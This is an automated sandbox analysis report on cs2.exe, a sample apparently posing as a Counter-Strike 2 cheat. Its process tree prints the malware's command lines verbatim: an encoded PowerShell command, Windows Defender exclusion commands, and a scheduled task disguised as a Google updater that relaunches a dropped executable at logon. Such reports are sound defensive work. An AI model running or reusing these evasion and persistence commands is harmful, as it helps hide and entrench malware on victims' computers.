Analysis

  • max time kernel
    32s
  • max time network
    41s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    09/06/2024, 07:34

General

  • Target

    cs2.exe

  • Size

    5.9MB

  • MD5

    e9211ee72f3b6b14423579889d7a8319

  • SHA1

    f207d89647f7ce6311e2237a24185d45ce744d88

  • SHA256

    4a43e95020312d2bc4725f469e6ba1fa66d164842584b916f24606350ab728f6

  • SHA512

    1bf7366b2c56399f29452961dbd6b8af75ed668570f210c8f819ecd6126f7ee9e6bb8b5329436916b65417b9f20787f59c24e96fc07eb6ffb3fd3be20527b352

  • SSDEEP

    98304:qgvNWGPzIo6XlhrXIHbr+61Q6JYAUGZKvrvXZu4Jc0LMAOWF+UicMjS0/Oo25RHH:qgvNW+Slir+IQ6JBULv7ZZrLnOW4b2nf

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 7 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Executes dropped EXE 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:584
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:1008
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:640
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
          1⤵
            PID:736
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
            1⤵
              PID:908
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
              1⤵
                PID:440
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
                1⤵
                  PID:380
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                  1⤵
                    PID:592
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                    1⤵
                    • Drops file in System32 directory
                    PID:1092
                    • c:\windows\system32\taskhostw.exe
                      taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                      2⤵
                        PID:2620
                      • C:\Users\Admin\Google\Chrome\updater.exe
                        C:\Users\Admin\Google\Chrome\updater.exe
                        2⤵
                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        PID:3156
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
                      1⤵
                        PID:1104
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k localservice -s nsi
                        1⤵
                          PID:1204
                        • c:\windows\system32\svchost.exe
                          c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                          1⤵
                            PID:1224
                          • c:\windows\system32\svchost.exe
                            c:\windows\system32\svchost.exe -k localservice -s EventSystem
                            1⤵
                              PID:1240
                            • c:\windows\system32\svchost.exe
                              c:\windows\system32\svchost.exe -k netsvcs -s Themes
                              1⤵
                                PID:1248
                              • c:\windows\system32\svchost.exe
                                c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
                                1⤵
                                  PID:1408
                                • c:\windows\system32\svchost.exe
                                  c:\windows\system32\svchost.exe -k netsvcs -s SENS
                                  1⤵
                                    PID:1432
                                  • c:\windows\system32\svchost.exe
                                    c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                                    1⤵
                                      PID:1456
                                      • c:\windows\system32\sihost.exe
                                        sihost.exe
                                        2⤵
                                          PID:2512
                                      • c:\windows\system32\svchost.exe
                                        c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
                                        1⤵
                                          PID:1512
                                        • c:\windows\system32\svchost.exe
                                          c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
                                          1⤵
                                            PID:1560
                                          • c:\windows\system32\svchost.exe
                                            c:\windows\system32\svchost.exe -k networkservice -s Dnscache
                                            1⤵
                                              PID:1608
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                                              1⤵
                                                PID:1640
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                                                1⤵
                                                  PID:1756
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
                                                  1⤵
                                                    PID:1764
                                                  • c:\windows\system32\svchost.exe
                                                    c:\windows\system32\svchost.exe -k appmodel -s StateRepository
                                                    1⤵
                                                      PID:1776
                                                    • c:\windows\system32\svchost.exe
                                                      c:\windows\system32\svchost.exe -k localservice -s netprofm
                                                      1⤵
                                                        PID:1816
                                                      • c:\windows\system32\svchost.exe
                                                        c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                                                        1⤵
                                                          PID:1876
                                                        • C:\Windows\System32\spoolsv.exe
                                                          C:\Windows\System32\spoolsv.exe
                                                          1⤵
                                                            PID:2012
                                                          • c:\windows\system32\svchost.exe
                                                            c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
                                                            1⤵
                                                              PID:1900
                                                            • c:\windows\system32\svchost.exe
                                                              c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
                                                              1⤵
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:2168
                                                            • c:\windows\system32\svchost.exe
                                                              c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
                                                              1⤵
                                                                PID:2272
                                                              • c:\windows\system32\svchost.exe
                                                                c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
                                                                1⤵
                                                                  PID:2504
                                                                • c:\windows\system32\svchost.exe
                                                                  c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
                                                                  1⤵
                                                                    PID:2640
                                                                  • c:\windows\system32\svchost.exe
                                                                    c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                                                                    1⤵
                                                                      PID:2652
                                                                    • c:\windows\system32\svchost.exe
                                                                      c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
                                                                      1⤵
                                                                        PID:2660
                                                                      • c:\windows\system32\svchost.exe
                                                                        c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
                                                                        1⤵
                                                                          PID:2708
                                                                        • C:\Windows\sysmon.exe
                                                                          C:\Windows\sysmon.exe
                                                                          1⤵
                                                                            PID:2780
                                                                          • c:\windows\system32\svchost.exe
                                                                            c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
                                                                            1⤵
                                                                              PID:2788
                                                                            • c:\windows\system32\svchost.exe
                                                                              c:\windows\system32\svchost.exe -k netsvcs -s WpnService
                                                                              1⤵
                                                                                PID:2836
                                                                              • c:\windows\system32\svchost.exe
                                                                                c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker
                                                                                1⤵
                                                                                  PID:2884
                                                                                • c:\windows\system32\svchost.exe
                                                                                  c:\windows\system32\svchost.exe -k netsvcs -s Browser
                                                                                  1⤵
                                                                                    PID:3092
                                                                                  • C:\Windows\system32\wbem\unsecapp.exe
                                                                                    C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                                    1⤵
                                                                                      PID:3112
                                                                                    • C:\Windows\Explorer.EXE
                                                                                      C:\Windows\Explorer.EXE
                                                                                      1⤵
                                                                                        PID:3396
                                                                                        • C:\Users\Admin\AppData\Local\Temp\cs2.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\cs2.exe"
                                                                                          2⤵
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:4236
                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAaQBxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHoAbQBiACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGsAdgBjACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHoAZwBiACMAPgA="
                                                                                            3⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:804
                                                                                          • C:\Users\Admin\AppData\Local\conhost32.exe
                                                                                            "C:\Users\Admin\AppData\Local\conhost32.exe"
                                                                                            3⤵
                                                                                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                            • Executes dropped EXE
                                                                                            • Suspicious use of SetThreadContext
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:2948
                                                                                          • C:\Users\Admin\AppData\Local\Temp\cs2-external-esp.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\cs2-external-esp.exe"
                                                                                            3⤵
                                                                                            • Executes dropped EXE
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            PID:4168
                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                              4⤵
                                                                                                PID:3196
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                                                                                            2⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:4432
                                                                                          • C:\Windows\System32\dialer.exe
                                                                                            C:\Windows\System32\dialer.exe
                                                                                            2⤵
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:3456
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#jdikcdmvr#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; }
                                                                                            2⤵
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:5108
                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                              3⤵
                                                                                                PID:316
                                                                                            • C:\Windows\System32\schtasks.exe
                                                                                              C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
                                                                                              2⤵
                                                                                                PID:2380
                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                  3⤵
                                                                                                    PID:3384
                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                                                                                                  2⤵
                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                  PID:2132
                                                                                                • C:\Windows\System32\dialer.exe
                                                                                                  C:\Windows\System32\dialer.exe
                                                                                                  2⤵
                                                                                                    PID:4900
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#jdikcdmvr#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; }
                                                                                                    2⤵
                                                                                                      PID:4376
                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                        3⤵
                                                                                                          PID:1524
                                                                                                      • C:\Windows\System32\dialer.exe
                                                                                                        C:\Windows\System32\dialer.exe
                                                                                                        2⤵
                                                                                                          PID:3128
                                                                                                        • C:\Windows\System32\dialer.exe
                                                                                                          C:\Windows\System32\dialer.exe
                                                                                                          2⤵
                                                                                                            PID:4912
                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                          1⤵
                                                                                                            PID:3944
                                                                                                          • C:\Windows\system32\DllHost.exe
                                                                                                            C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                            1⤵
                                                                                                              PID:3796
                                                                                                            • c:\windows\system32\svchost.exe
                                                                                                              c:\windows\system32\svchost.exe -k localservice -s CDPSvc
                                                                                                              1⤵
                                                                                                                PID:4964
                                                                                                              • c:\windows\system32\svchost.exe
                                                                                                                c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
                                                                                                                1⤵
                                                                                                                  PID:1004
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
                                                                                                                  1⤵
                                                                                                                    PID:4296
                                                                                                                  • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                                    "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                                    1⤵
                                                                                                                      PID:3596
                                                                                                                    • c:\windows\system32\svchost.exe
                                                                                                                      c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
                                                                                                                      1⤵
                                                                                                                        PID:2100
                                                                                                                      • C:\Windows\system32\DllHost.exe
                                                                                                                        C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                        1⤵
                                                                                                                          PID:1352
                                                                                                                        • C:\Windows\system32\ApplicationFrameHost.exe
                                                                                                                          C:\Windows\system32\ApplicationFrameHost.exe -Embedding
                                                                                                                          1⤵
                                                                                                                            PID:3892
                                                                                                                          • C:\Windows\System32\InstallAgent.exe
                                                                                                                            C:\Windows\System32\InstallAgent.exe -Embedding
                                                                                                                            1⤵
                                                                                                                              PID:436
                                                                                                                            • C:\Windows\system32\DllHost.exe
                                                                                                                              C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
                                                                                                                              1⤵
                                                                                                                                PID:4040

                                                                                                                              Network

                                                                                                                              MITRE ATT&CK Enterprise v15

                                                                                                                              Replay Monitor

                                                                                                                              Loading Replay Monitor...

                                                                                                                              Downloads

                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                                Filesize

                                                                                                                                3KB

                                                                                                                                MD5

                                                                                                                                8592ba100a78835a6b94d5949e13dfc1

                                                                                                                                SHA1

                                                                                                                                63e901200ab9a57c7dd4c078d7f75dcd3b357020

                                                                                                                                SHA256

                                                                                                                                fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c

                                                                                                                                SHA512

                                                                                                                                87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                Filesize

                                                                                                                                18KB

                                                                                                                                MD5

                                                                                                                                84b947076ff79194bd2f2539c80d2fac

                                                                                                                                SHA1

                                                                                                                                154b54aa34a1521d59d373bae20197426707d285

                                                                                                                                SHA256

                                                                                                                                858af83202a048447e425f4d815fd8faadbe060aa0777c0c1743f577f7b9ff92

                                                                                                                                SHA512

                                                                                                                                dd42a4187f5e806690aeb2f49734da7199e09f92f07125dd9b26aa2da2b8bb3b74db2b2fe3d2a83f75ab900731a1a1bc808923df80b1e239cd43b841499f701f

                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                Filesize

                                                                                                                                1KB

                                                                                                                                MD5

                                                                                                                                4e36cd1fa1e00c532cb82880a8a6097d

                                                                                                                                SHA1

                                                                                                                                2d5a84ef221b0d5637fb854f68eef69d36065c15

                                                                                                                                SHA256

                                                                                                                                f55e8fb411153ce462b5e7cbe4c2e362bb4a73dcaff6e2905aea6eab5a4fb8ca

                                                                                                                                SHA512

                                                                                                                                4910cec0f2ea8c9b1490fa1d95369d97bf8ff80840454ecea0ed50d9427a421fdb5bc914c86a05f92574211a4c7a3f429acbfd950c6d8411ef6fa31fabd2a2e6

                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                Filesize

                                                                                                                                1KB

                                                                                                                                MD5

                                                                                                                                1d2d913c3dc74c96a90c5f53810a4258

                                                                                                                                SHA1

                                                                                                                                2ec54878f305c68ff23a03c612563267704db95e

                                                                                                                                SHA256

                                                                                                                                54d6b3b1c9dc258b5ffcdb51148e5c31131d5824d8ce43b78998c3a812b965e9

                                                                                                                                SHA512

                                                                                                                                8a93c9b24aad835b7a10d8b511b5a8c07f19bcc426b1c15f1b5643822ccc1bdd045e2ea8fd3e5094c00320b9fe45b3cc70700e155992aaca4093c81e349e6853

                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                Filesize

                                                                                                                                1KB

                                                                                                                                MD5

                                                                                                                                bbb673277fae96ee4bc299672085e949

                                                                                                                                SHA1

                                                                                                                                731ccb1581a06bff2ca36ca46b20c91c9adc468c

                                                                                                                                SHA256

                                                                                                                                21a0a3c47eb15cec5d37688a67369836fda0164d0cd5afaa9a2aa52fb838685d

                                                                                                                                SHA512

                                                                                                                                aa0efc1683991ed68027f0fbd1dfcf0616dd0c328bd015cb43987411e454e0583e8cc1a45bc9f689e873007071e0923d9be10a6db689ba268a167f856b6a8425

                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vqv544na.qto.ps1

                                                                                                                                Filesize

                                                                                                                                1B

                                                                                                                                MD5

                                                                                                                                c4ca4238a0b923820dcc509a6f75849b

                                                                                                                                SHA1

                                                                                                                                356a192b7913b04c54574d18c28d46e6395428ab

                                                                                                                                SHA256

                                                                                                                                6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                                                                                                                                SHA512

                                                                                                                                4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\cs2-external-esp.exe

                                                                                                                                Filesize

                                                                                                                                190KB

                                                                                                                                MD5

                                                                                                                                dfae04e92d343bd110609b8194816131

                                                                                                                                SHA1

                                                                                                                                d1b1f02cb02273f56eef010a52072f6c6a23f071

                                                                                                                                SHA256

                                                                                                                                807999620cb4783d5c8f282cc21a6c5829e9f99719cbcdb7a71bdacd58671daa

                                                                                                                                SHA512

                                                                                                                                6083ae949fef7c09102ac2d1fd6da30ec38b6044a9fe258a64ec07178cf5a180158a0fda32f76b76d14cff6653a8a17f8a5f15c747625be4a42fe015f48dc2fe

                                                                                                                              • C:\Users\Admin\AppData\Local\conhost32.exe

                                                                                                                                Filesize

                                                                                                                                5.7MB

                                                                                                                                MD5

                                                                                                                                0ca285f9a8c43016ffe109a13b0e07a0

                                                                                                                                SHA1

                                                                                                                                a03f79912ab0fbfd10ee3ff67bff60671a8ad42f

                                                                                                                                SHA256

                                                                                                                                880123a7fac24705ffb6795713d32fdc21679ac00802e72cb54d86814be4fcf1

                                                                                                                                SHA512

                                                                                                                                b68ee3e6b8499ca4995390d8c614784d13629a326bbac0c9d258813723428cbd830021e68bd78f7ca7d8330c0eeb1b28405f29bb967349a205c98973086ef883

                                                                                                                              • memory/584-343-0x0000014C6CE40000-0x0000014C6CE61000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                132KB

                                                                                                                              • memory/584-342-0x00007FFFAFD40000-0x00007FFFAFD50000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                64KB

                                                                                                                              • memory/584-341-0x0000014C6D230000-0x0000014C6D257000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                156KB

                                                                                                                              • memory/640-346-0x00007FFFAFD40000-0x00007FFFAFD50000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                64KB

                                                                                                                              • memory/640-345-0x0000021429E40000-0x0000021429E67000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                156KB

                                                                                                                              • memory/736-402-0x00007FFFAFD40000-0x00007FFFAFD50000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                64KB

                                                                                                                              • memory/736-400-0x000002AE84820000-0x000002AE84847000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                156KB

                                                                                                                              • memory/804-25-0x0000000007880000-0x000000000789C000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                112KB

                                                                                                                              • memory/804-56-0x0000000009190000-0x00000000091AE000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                120KB

                                                                                                                              • memory/804-54-0x00000000091D0000-0x0000000009203000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                204KB

                                                                                                                              • memory/804-62-0x00000000094C0000-0x0000000009554000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                592KB

                                                                                                                              • memory/804-260-0x0000000009460000-0x000000000947A000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                104KB

                                                                                                                              • memory/804-265-0x0000000009450000-0x0000000009458000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                32KB

                                                                                                                              • memory/804-281-0x0000000072610000-0x0000000072CFE000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                6.9MB

                                                                                                                              • memory/804-55-0x0000000073000000-0x000000007304B000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                300KB

                                                                                                                              • memory/804-8-0x000000007261E000-0x000000007261F000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                4KB

                                                                                                                              • memory/804-61-0x0000000009210000-0x00000000092B5000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                660KB

                                                                                                                              • memory/804-13-0x0000000001180000-0x00000000011B6000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                216KB

                                                                                                                              • memory/804-16-0x0000000007020000-0x0000000007042000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                136KB

                                                                                                                              • memory/804-30-0x00000000081D0000-0x0000000008246000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                472KB

                                                                                                                              • memory/804-15-0x0000000007150000-0x0000000007778000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                6.2MB

                                                                                                                              • memory/804-14-0x0000000072610000-0x0000000072CFE000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                6.9MB

                                                                                                                              • memory/804-26-0x0000000008090000-0x00000000080DB000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                300KB

                                                                                                                              • memory/804-17-0x00000000078F0000-0x0000000007956000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                408KB

                                                                                                                              • memory/804-21-0x0000000007AC0000-0x0000000007E10000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                3.3MB

                                                                                                                              • memory/804-18-0x0000000007960000-0x00000000079C6000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                408KB

                                                                                                                              • memory/1008-364-0x00007FFFAFD40000-0x00007FFFAFD50000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                64KB

                                                                                                                              • memory/1008-363-0x000002724A5C0000-0x000002724A5E7000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                156KB

                                                                                                                              • memory/2948-282-0x00007FF73C9A0000-0x00007FF73CF5C000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                5.7MB

                                                                                                                              • memory/3456-330-0x00007FFFEFCB0000-0x00007FFFEFE8B000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                1.9MB

                                                                                                                              • memory/3456-331-0x00007FFFED230000-0x00007FFFED2DE000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                696KB

                                                                                                                              • memory/4432-291-0x0000022449500000-0x0000022449576000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                472KB

                                                                                                                              • memory/4432-288-0x0000022449350000-0x0000022449372000-memory.dmp

                                                                                                                                Filesize

                                                                                                                                136KB